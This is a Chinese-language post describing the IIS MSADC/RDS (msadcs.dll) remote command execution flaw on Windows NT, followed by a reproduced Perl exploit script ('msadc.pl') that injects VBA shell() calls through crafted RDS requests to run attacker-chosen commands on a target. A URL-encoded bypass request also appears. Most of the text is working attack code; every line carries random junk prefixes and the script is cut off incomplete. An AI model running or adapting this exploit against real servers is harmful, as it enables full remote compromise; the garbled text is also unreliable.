IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
@p$Nw.{' ?IN'Dc9&%- 涉及程序:
.8GX8[t Microsoft NT server
Ri TmS-w 描述:
&g;&=<#I 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
9 HiH6f^5 N1',`L5 详细:
X_3*DqY 如果你没有时间读详细内容的话,就删除:
-n:~m
p c:\Program Files\Common Files\System\Msadc\msadcs.dll
AT:L&~O. 有关的安全问题就没有了。
i?3~Gog " jBc5* 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
u?Uu>9@Z )X2/_3 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
jW8,}Xs 关于利用ODBC远程漏洞的描述,请参看:
?lPn{oB9" `MLOf http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ]Pp}=hcD p{vGc-zP. 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
_Xqa_6+/ http://www.microsoft.com/security/bulletins/MS99-025faq.asp '5)PYjMnH m{w'&\T 这里不再论述。
BNw};.lO f0|wN\ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
i8h^~d2" [yhK4A /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
FUO 9jX 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
{i^F4A@=Z hNRN`\5Z nb~592u #将下面这段保存为txt文件,然后: "perl -x 文件名"
TOb( ]3\%i2NM #!perl
gTQc=,3l3 #
'>^!a!<G # MSADC/RDS 'usage' (aka exploit) script
W%wc@.P #
*UZd!a) # by rain.forest.puppy
Y6E0-bL@Fe #
P!yOA_)as # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
V q[4RAd^P # beta test and find errors!
S]Qf
p, S8,e`F use Socket; use Getopt::Std;
]@6L,+W" getopts("e:vd:h:XR", \%args);
.Cu0G1 re xMS print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
CklIrD{ 7$JOIsM if (!defined $args{h} && !defined $args{R}) {
]p@q.P print qq~
^
A J_
Usage: msadc.pl -h <host> { -d <delay> -X -v }
Y_FQB K U -h <host> = host you want to scan (ip or domain)
W) ?s''WE; -d <seconds> = delay between calls, default 1 second
hEA;5-m -X = dump Index Server path table, if available
`$Y%c1; -v = verbose
2@Zw#2|] -e = external dictionary file for step 5
'x,6t66*"l {yFMY?6rf Or a -R will resume a command session
Hbl&)!I #('GGzL6c ~; exit;}
`Ip``I#A "9IR| $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
%x8vvcO^t if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
i
2 ='> if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
mYFc53B if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
$wcTUl $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
.\+c{ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
JYnyo$m/ wAo6:) if (!defined $args{R}){ $ret = &has_msadc;
qGi\*sc>x die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
d~KTUgH'< GA"vJFQ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
0v|qP . "cmd /c ";
$+ORq3 $in=<STDIN>; chomp $in;
? CU; $command="cmd /c " . $in ;
R(s[JH(& W/.n
R[! if (defined $args{R}) {&load; exit;}
I2gSgv% J4Ca0Ag print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
m A('MS2 &try_btcustmr;
blUS6"kV} 3uL$+F print "\nStep 2: Trying to make our own DSN...";
epI~w &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
ddY-F
}z~ P! P` MX print "\nStep 3: Trying known DSNs...";
`_x#`%!#2 &known_dsn;
L7"<a2J ab[V->>% print "\nStep 4: Trying known .mdbs...";
v}=pxWhm &known_mdb;
hyY^$p+ ]YY4{E(9d if (defined $args{e}){
A:\_ \B%< print "\nStep 5: Trying dictionary of DSN names...";
cqp^**s &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
6n/KL Q6n8 ,2* print "Sorry Charley...maybe next time?\n";
[6?x 6_M exit;
P0rdGf 5T yMOYTN@] ##############################################################################
y2PxC. - z=4E#y`?U sub sendraw { # ripped and modded from whisker
'.e5Ku sleep($delay); # it's a DoS on the server! At least on mine...
#2+hu^Q- my ($pstr)=@_;
7'5/T]Z socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
OA7=kH@3c die("Socket problems\n");
:I^4ILQCD if(connect(S,pack "SnA4x8",2,80,$target)){
DvTbt?i[ select(S); $|=1;
hysxHOL print $pstr; my @in=<S>;
^.M_1$- select(STDOUT); close(S);
17VNw/Y return @in;
_X)]/A%@ } else { die("Can't connect...\n"); }}
(JiEV3GH 7A ##############################################################################
ve4QS P z=LO$,JW` sub make_header { # make the HTTP request
tOPkx( my $msadc=<<EOT
^1ks`1 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
5hB2:$C User-Agent: ACTIVEDATA
QEEX|WM Host: $ip
'YEiT#+/ Content-Length: $clen
e co=ia Connection: Keep-Alive
!Tu.A@ l`];CALA4 ADCClientVersion:01.06
!p)cP"fa Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Fh)YNW@ ,7e 2M@=
--!ADM!ROX!YOUR!WORLD!
'eoI~*}3WQ Content-Type: application/x-varg
YC}$O2 Content-Length: $reqlen
RHq r-% s3M#ua#mX EOT
"(?[$R ; $msadc=~s/\n/\r\n/g;
W&^2Fb return $msadc;}
M~!LjJg; B?_ujH80m ##############################################################################
m<22E0=g 1'* {VmM sub make_req { # make the RDS request
Xgm9>/y my ($switch, $p1, $p2)=@_;
;:gx;'dm5 my $req=""; my $t1, $t2, $query, $dsn;
vGPaW YV )5bdWJ>l if ($switch==1){ # this is the btcustmr.mdb query
,#-^ $query="Select * from Customers where City=" . make_shell();
fKT(.VNq5 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
/t?(IcP5 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
6d/b*,4[ VAR/" elsif ($switch==2){ # this is general make table query
6UJBE<ntj $query="create table AZZ (B int, C varchar(10))";
4HDQj]z/ $dsn="$p1";}
dzMI5fA<_ 4^B:Q9B) elsif ($switch==3){ # this is general exploit table query
B6vmBmN $query="select * from AZZ where C=" . make_shell();
';7|H|,F $dsn="$p1";}
8 _[f#s`) Qod2m$>wp} elsif ($switch==4){ # attempt to hork file info from index server
>Y/1%Hp9 $query="select path from scope()";
FJ&zU<E $dsn="Provider=MSIDXS;";}
("BFI x]U (EX`t$ elsif ($switch==5){ # bad query
kLqFh< $query="select";
Ljxn}):[ $dsn="$p1";}
Sq==)$G HM1y$ej $t1= make_unicode($query);
IN]bAd8" $t2= make_unicode($dsn);
4B}w;d@R $req = "\x02\x00\x03\x00";
,@ Cru= $req.= "\x08\x00" . pack ("S1", length($t1));
$RSVN? $req.= "\x00\x00" . $t1 ;
rQ$A|GJ L $req.= "\x08\x00" . pack ("S1", length($t2));
JGD{cr[S $req.= "\x00\x00" . $t2 ;
!ZV#~t:) $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
O"9f^y* return $req;}
Z_Ma|V?6 +e"}"]n ##############################################################################
9Au+mIN i]LK,' sub make_shell { # this makes the shell() statement
\9k{"4jX\ return "'|shell(\"$command\")|'";}
4%j&]PASa1 |qNrj~n@ ##############################################################################
LGCL*Qbsg Sb[rSczS~ sub make_unicode { # quick little function to convert to unicode
#(*WxVE my ($in)=@_; my $out;
U>x2'B v for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
.]H]H *wC return $out;}
hOMFDfhU o-Idr{ ##############################################################################
|/lIasI HNuwq\w sub rdo_success { # checks for RDO return success (this is kludge)
1,`x1dcO!A my (@in) = @_; my $base=content_start(@in);
%dT%r=%Y if($in[$base]=~/multipart\/mixed/){
Pjb9FCA' return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Azz]TO return 0;}
mLY * Da-(D<[0 ##############################################################################
Ef `LBAfOO $'FPst8Q< sub make_dsn { # this makes a DSN for us
:g9z^ $g my @drives=("c","d","e","f");
JkxS1 print "\nMaking DSN: ";
FvI`S> foreach $drive (@drives) {
L
kq>>?T= print "$drive: ";
(Fgt #H(B my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Nyqm0C6m^ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Dfhs@ z . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
fZ g*@RR $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
kyo ,yD return 0 if $2 eq "404"; # not found/doesn't exist
4l`gAE$ if($2 eq "200") {
\]OD pi
2 foreach $line (@results) {
#!D5DK@+ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
<7]
z'
} return 0;}
nG%j4r ; VD#^Xy4% r ##############################################################################
!d0@^JbM" 4COf H7Al9 sub verify_exists {
YKc{P"'/| my ($page)=@_;
\!V6` @0KC my @results=sendraw("GET $page HTTP/1.0\n\n");
xBG1up<z return $results[0];}
"\=_- ` >aWJ+ ##############################################################################
,6buo~?W: gq@."wHU sub try_btcustmr {
N8{>M, my @drives=("c","d","e","f");
\4p<;$' my @dirs=("winnt","winnt35","winnt351","win","windows");
G\NCEE'A +Ae.>%} foreach $dir (@dirs) {
>SGSn/AJi print "$dir -> "; # fun status so you can see progress
er#=xqUY foreach $drive (@drives) {
X0$_KPn print "$drive: "; # ditto
Go67VqJr $reqlen=length( make_req(1,$drive,$dir) ) - 28;
TnaIRJ\B $reqlenlen=length( "$reqlen" );
aBC[(}Pb] $clen= 206 + $reqlenlen + $reqlen;
YaT07X.(b ha),N<' my @results=sendraw(make_header() . make_req(1,$drive,$dir));
>PJ-Z~O'
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
5k(#kyP else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
68!fcK vxt^rBA ##############################################################################
,RHHNTB(" A{o{o++ sub odbc_error {
v:0i5h&M my (@in)=@_; my $base;
]1[;A$7 my $base = content_start(@in);
XN0Y#l if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
U+i[r&{gb $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^9RBG#ud $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
T:&+#0< $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
}00e@a return $in[$base+4].$in[$base+5].$in[$base+6];}
QaO`:wJj print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Z7/dRc
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
W*m[t&; $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
p{J_d,JH 6J*`<k/S ##############################################################################
Y"jDZG? aS7zG2R4H sub verbose {
GT.^u#r my ($in)=@_;
}a1UOScO0 return if !$verbose;
1m)/_y~1
k print STDOUT "\n$in\n";}
WI,=?~- 80EY7#r@w ##############################################################################
l!=WqIZ ;R!H\ sub save {
`IoX'|C[h my ($p1, $p2, $p3, $p4)=@_;
zef,*dQY open(OUT, ">rds.save") || print "Problem saving parameters...\n";
&B4U) print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
w3Ohm7N[ close OUT;}
]>L]?Rm K5lp-F ##############################################################################
F%d"gF0qu rh&on